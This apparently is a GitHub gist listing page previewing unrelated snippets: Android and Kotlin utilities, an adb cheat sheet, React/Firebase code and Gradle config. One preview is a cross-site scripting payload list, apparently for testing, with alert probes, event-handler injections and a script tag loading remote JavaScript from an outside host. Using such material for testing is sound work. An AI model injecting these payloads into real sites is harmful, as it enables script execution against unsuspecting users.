This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.sjl.util; | |
import android.app.Activity; | |
import android.app.Application; | |
import android.content.Context; | |
import android.os.Bundle; | |
import android.os.Handler; | |
import android.util.Log; | |
import java.util.List; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
'';!--"<XSS>=&{()} | |
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
<script/src=data:,alert()> | |
<marquee/onstart=alert()> | |
<video/poster/onerror=alert()> | |
<isindex/autofocus/onfocus=alert()> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> | |
<IMG SRC=javascript:alert('XSS')> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@StringDef({ | |
POP, | |
ROCK, | |
JAZZ | |
}) | |
@Retention(RetentionPolicy.SOURCE) | |
public @interface MusicNameType {} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
adb help // List all comands | |
== Adb Server | |
adb kill-server | |
adb start-server | |
== Adb Reboot | |
adb reboot | |
adb reboot recovery | |
adb reboot-bootloader |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import React, { Component } from 'react'; | |
import firebase from '@firebase/app'; | |
import firestore from './firestore'; // Code: https://gist.github.com/sconstantinides/546a48ba183b1234f750ca6261440199 | |
class App extends Component { | |
constructor(props) { | |
super(props); | |
this.state = { | |
userId: localStorage.getItem('userId') || '', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
tasks.withType<Jar> { | |
manifest { | |
attributes["Main-Class"] = "com.example.MainKt" | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class SampleAdapter : RecyclerView.Adapter<SampleViewHolder>() { | |
private var itemList: List<SampleItem> = listOf() | |
fun setItems(newList: List<SampleItem>) { | |
val diffItemCallback = object : DiffUtil.Callback() { | |
override fun areItemsTheSame(oldItemPosition: Int, newItemPosition: Int) = | |
this.itemList[oldItemPosition].getItemId() == newList[newItemPosition].getItemId() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class EndlessService : Service() { | |
private var wakeLock: PowerManager.WakeLock? = null | |
private var isServiceStarted = false | |
override fun onBind(intent: Intent): IBinder? { | |
log("Some component want to bind with the service") | |
// We don't provide binding, so return null | |
return null | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public abstract class BaseObservable<LISTENER_CLASS> { | |
private final Object MONITOR = new Object(); | |
private final Set<LISTENER_CLASS> mListeners = new HashSet<>(); | |
public void registerListener(LISTENER_CLASS listener) { | |
synchronized (MONITOR) { | |
boolean hadNoListeners = mListeners.size() == 0; | |
mListeners.add(listener); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private const val MIRROR = 180F | |
private const val INITIAL_DELAY = 0.15F | |
private val translucentBlack = Color.argb(50, 0, 0, 0) | |
fun speedDial( | |
anchor: View, | |
@ColorInt tint: Int = anchor.context.themeColorAt(R.attr.colorPrimary), | |
@StyleRes animationStyle: Int = android.R.style.Animation_Dialog, | |
layoutAnimationController: LayoutAnimationController = LayoutAnimationController(speedDialAnimation, INITIAL_DELAY).apply { order = ORDER_NORMAL }, |
OlderNewer